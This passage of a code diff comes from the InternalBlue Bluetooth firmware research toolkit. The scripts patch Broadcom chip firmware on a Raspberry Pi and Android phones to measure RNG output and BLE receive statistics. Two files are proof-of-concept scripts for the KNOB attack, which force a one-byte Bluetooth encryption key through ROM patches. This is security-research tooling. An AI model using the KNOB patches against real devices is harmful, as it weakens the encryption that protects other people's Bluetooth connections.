code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+13 -16
View File
@@ -1,22 +1,20 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from pwnlib.asm import asm
from internalblue import Address
from internalblue.hcicore import HCICore
internalblue = HCICore()
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
internalblue.logger.warning("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
@@ -69,22 +67,21 @@ ASM_HOOKS = """
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
internalblue.logger.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+59 -16
View File
@@ -1,12 +1,18 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from pwn import *
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
@@ -18,31 +24,68 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
internalblue.patchRom(0x3B3D4, patch)
internalblue.patchRom(Address(0x3B3D4), patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, '\x01') # global key entropy
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+215
View File
@@ -0,0 +1,215 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
//bl notify_hci
mov r0, 0
mov r1, 0
mov r2, 0
mov r3, 0
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 10 // event length
mov r0, 12 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
pop {r0-r4, lr}
b 0x268E // send_hci_event_without_free()
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("rpi3p-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+211
View File
@@ -0,0 +1,211 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200480 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
//bl notify_hci
mov r0, 0
mov r1, 0
mov r2, 0
mov r3, 0
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 10 // event length
mov r0, 12 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
pop {r0-r4, lr}
b 0x268E // send_hci_event_without_free()
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+33 -33
View File
@@ -1,22 +1,24 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
import sys
from argparse import Namespace
from pwnlib.asm import asm
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
from internalblue.utils.packing import u8, u16
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
internalblue.logger.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
@@ -24,8 +26,8 @@ internalblue.interface = device_list[0][1] # just use the first device
# The base address is 0x5E324, and this will jump into the Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
# RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
# RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
@@ -77,27 +79,26 @@ ASM_HOOKS = """
//b 0x134504 // August 30 Nightly Build
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
""" % (RX_DONE_HOOK_ADDRESS + 4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
internalblue.logger.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
@@ -124,24 +125,24 @@ def lereceiveStatusCallback(record):
if len(data) < 239:
return
#if raspi or s8:
# if raspi or s8:
packet_curr_nesn_sn = u8(data[0xa0])
#elif eval:
# elif eval:
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = u8(data[0x83])
packet_channel = data[0x83]
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = u8(data[0])
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
@@ -156,24 +157,23 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channels_total = packet_channel_map[37]
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+61 -16
View File
@@ -1,12 +1,19 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
from pwn import *
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from internalblue import Address, hci
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue.utils.packing import p16, u16
"""
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
@@ -18,30 +25,68 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
internalblue.patchRom(0x530F6, patch)
internalblue.patchRom(Address(0x530F6), patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, '\x01') # global key entropy
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
internalblue.logger.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Currently, there is no LMP monitoring option on Android 8.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+216
View File
@@ -0,0 +1,216 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from time import sleep
import numpy as np
from pwnlib import adb
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x215000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x9C460 # original RNG function that we overwrite with bx lr
PRAND = 0x41079C # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr # 1 byte but at least changes
# 0x41079C rxInitAngle_adr # this changes a bit
# 0x4100AC spurFreqErr1_adr
# 0x410548 rxPskPhErr5_adr_0
# 0x20066C *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0xE628 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore(log_level='info', serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
# cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
sleep(2) # FIXME
# and now read and save the random
